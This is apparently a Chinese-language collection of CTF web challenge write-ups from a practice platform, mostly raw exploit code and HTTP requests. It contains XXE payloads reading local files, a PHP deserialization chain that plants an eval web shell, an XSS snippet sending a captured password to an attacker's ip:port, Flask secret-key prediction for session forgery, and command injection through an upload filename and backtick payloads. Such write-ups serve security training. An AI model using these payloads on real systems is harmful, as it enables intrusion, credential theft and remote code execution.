show_source(end(scandir(.)));=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

[BSidesCF 2019]SVGMagic

SVG是个XML的图片。并且存在可控的内容
是否存在XXE,构造PAYLOAD
由于不知道flag路径。一般就是在/flagxxxx。和当前目录flagxxx
而/proc/self/pwd/代表的是当前路径。可以构造/proc/self/pwd/flag.txt读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /render HTTP/1.1
Host: b474211a-3cf4-4702-9d2c-745db3dc1502.node3.buuoj.cn
Content-Length: 380
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://b474211a-3cf4-4702-9d2c-745db3dc1502.node3.buuoj.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7sKbBUdkFmeFXA7b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://b474211a-3cf4-4702-9d2c-745db3dc1502.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17a129a5be511b-050b851bf333b5-4373266-144000-17a129a5be6691; OUTFOX_SEARCH_USER_ID_NCOO=828730801.2157147
Connection: close

------WebKitFormBoundary7sKbBUdkFmeFXA7b
Content-Disposition: form-data; name="svgfile"; filename="1.svg"
Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
------WebKitFormBoundary7sKbBUdkFmeFXA7b--

[EIS 2019]EzPOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
<?php
error_reporting(0);

class A {

protected $store;
protected $key;
protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return true;
}

return false;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->store = new B();
$this->key = '';
$this->expire = 0;
$this->autosave = false;
$this->cache = [];
$this->complete = 'aaa'.base64_encode('<?php @eval($_POST[a]); ?>');
}
}
class B {
public function __construct()
{
$this->writeTimes = 0;
$this->options = array( 'data_compress' => false,
'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/shell.php',
'serialize' => 'strval'); //strval加了相当于不加,只是为了用到serialize
}


}
echo urlencode(serialize(new A));

[b01lers2020]Life on Mars

[GWCTF 2019]mypassword

https://github.com/gwht/2019GWCTF/tree/master/wp/web/mypassword

回到登录界面发现login.js中的记住密码功能会将读取cookie中的password。于是构造一个登录框并且引入login.js提交反馈等待bot点开获得flag

1
2
3
4
5
6
7
8

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://ip:port/?psw="+psw;
</scrcookieipt>

[CSAWQual 2019]Web_Unagi

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
1
iconv -f utf8 -t utf-16 2.xml>1.xml

[GoogleCTF2019 Quals]Bnv

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /api/search HTTP/1.1
Host: 35328b36-f427-464f-b34f-e4463d613edd.node3.buuoj.cn
Content-Length: 342
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36
Content-type: application/xml
Accept: */*
Origin: http://35328b36-f427-464f-b34f-e4463d613edd.node3.buuoj.cn
Referer: http://35328b36-f427-464f-b34f-e4463d613edd.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17a129a5be511b-050b851bf333b5-4373266-144000-17a129a5be6691; OUTFOX_SEARCH_USER_ID_NCOO=828730801.2157147
Connection: close

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;test&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

[CISCN2019 华东南赛区]Web4

在flask框架下可以用一个名为的local_file协议,使用方法和file://协议没什么区别,读一下/etc/passwd发现能用,确定框架flask,python题。读一下/proc/self/cmdline得到路径/app/app.py,读取获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'

@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)

session伪造,对于伪随机数,如果seed是固定的,生成的随机数是可以预测的,也就是顺序固定的,所以只要知道seed的值即可。这里的seed使用的uuid.getnode()的值,该函数用于获取Mac地址并将其转换为整数。

那么就需要读取Mac地址local_file:///sys/class/net/eth0/address

1
2
3
4
>>> import random
>>> random.seed(0x0242ac10a85c)
>>> print(str(random.random()*233))
196.83043201

生成flask

1
2
python2 flask_session_cookie_manager2.py encode -s 196.83043201 -t "{'username': b'fuck'}"
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.YM9qwA.T0VgPVp2FohrHS9Ew76U4tv9fpQ

替换cookie,访问/flag,即可得flag

[N1CTF 2018]eating_cms

register.php存在注册页面,注册一个账户登录

存在任意文件读取

1
/user.php?page=php://filter/convert.base64-encode/resource=info

parse_url可用///user.php?page=绕过

1
/user.php?page=php://filter/convert.base64-encode/resource=upllloadddd

upllloadddd存在命令执行,上传的文件名可控。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file锛�");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>

/被过滤了,可用cd ..;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /user.php?page=upllloadddd HTTP/1.1
Host: 112d23c0-144a-4af6-b279-94c01280f4c5.node3.buuoj.cn
Content-Length: 238
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAoQUhaCAfqNyGqOc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17a129a5be511b-050b851bf333b5-4373266-144000-17a129a5be6691; OUTFOX_SEARCH_USER_ID_NCOO=828730801.2157147; PHPSESSID=m804ei9kmp4mcvpbjctvvv7qj4
Connection: close

------WebKitFormBoundaryAoQUhaCAfqNyGqOc
Content-Disposition: form-data; name="file"; filename="; cd ..;cat flag_233333; #"
Content-Type: image/png

<?php echo md5(1); @eval($_POST[a]); ?>
------WebKitFormBoundaryAoQUhaCAfqNyGqOc--

红明谷

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

获取flag文件名

1
?action=upload&data=<?=`ls\$IFS\$9../../../../../../`?>

获取flag

1
?action=upload&data=<?=`cat\$IFS\$9../../../../../../f*`?>